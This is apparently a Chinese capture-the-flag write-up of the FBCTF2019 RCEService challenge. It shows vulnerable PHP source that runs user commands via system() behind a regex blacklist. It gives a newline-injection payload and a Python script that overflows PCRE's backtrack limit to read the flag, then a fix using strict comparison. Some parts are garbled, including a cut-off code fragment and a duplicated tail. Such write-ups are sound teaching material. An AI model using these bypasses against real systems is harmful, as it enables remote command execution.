[FBCTF2019]RCEService

源码：

  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected

';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[x00-x1FA-Z0-9!#-/;-@[-`|~x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected

';
  } else {
    echo 'Attempting to run command:
';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '

';
  }
}
?>

preg_match('/^.*(flag).*$/',$a)

上面的正则过滤中，.不会匹配到换行符可以nflag绕过
在非多行模式下，$不会匹配到%0a，可以flag%0a绕过

putenv(‘PATH=/home/rceservice/jail’);一般环境变量配置到/bin目录下所以可以执行命令，配置到其他目录可以使用绝对路径调用cat

Linux命令的位置：`/bin`,`/usr/bin`，默认都是全体用户使用，
`/sbin`,`/usr/sbin`,默认root用户使用

payload：{%0a"cmd":“/bin/cat /home/rceservice/flag”%0a}

正则表达式：

正则引擎分为DFA（确定性有限状态自动机）与NFA（非确定性有限状态自动机）

• DFA: 从起始状态开始，一个字符一个字符地读取输入串，并根据正则来一步步确定至下一个转移状态，直到匹配不上或走完整个输入
• NFA：从起始状态开始，一个字符一个字符地读取输入串，并与正则表达式进行匹配，如果匹配不上，则进行回溯，尝试其他状态

由于NFA的执行过程存在回溯，所以其性能会劣于DFA，但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎，其中也包括PHP使用的PCRE库。

回溯：

].*

输入

 
先匹配到 
.*匹配所有字符到最后但是还有[(`;?>]未匹配会逐渐吐出a（回溯）
 
直到;之后再.*匹配到最后
 
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TVaaehHG-1653728130988)(https://www.leavesongs.com/media/attachment/2018/11/26/13ea3435-1e15-432b-b9f2-fa9805f4b00b.b2c963c22ff8.png)]
 
但是回溯有上限
 
PHP为了防止正则表达式的拒绝服务攻击（reDOS），给pcre设定了一个回溯次数上限pcre.backtrack_limit默认一百万，超过一百万不会返回1或0而是false即超过限制即可
 
import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa 
GET无法传过多的字符，用的是POST传参
 
该题脚本：
 
import requests
url='http://ba3946c8-696f-4b69-9804-94bd7fcde6e8.node3.buuoj.cn/'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","DMIND":"'+'a'*1000000+'"}'
    }
print(url)
res = requests.post(url=url,data=data)
print(res.text)

 
对于正则回溯限制绕过修复方法 
用preg_match对字符串进行匹配，一定要使用===全等号来判断返回值
 
function is_php($data){  
    return preg_match('/].*/is', $data);  
}

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}
ta){  
    return preg_match('/].*/is', $data);  
}

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}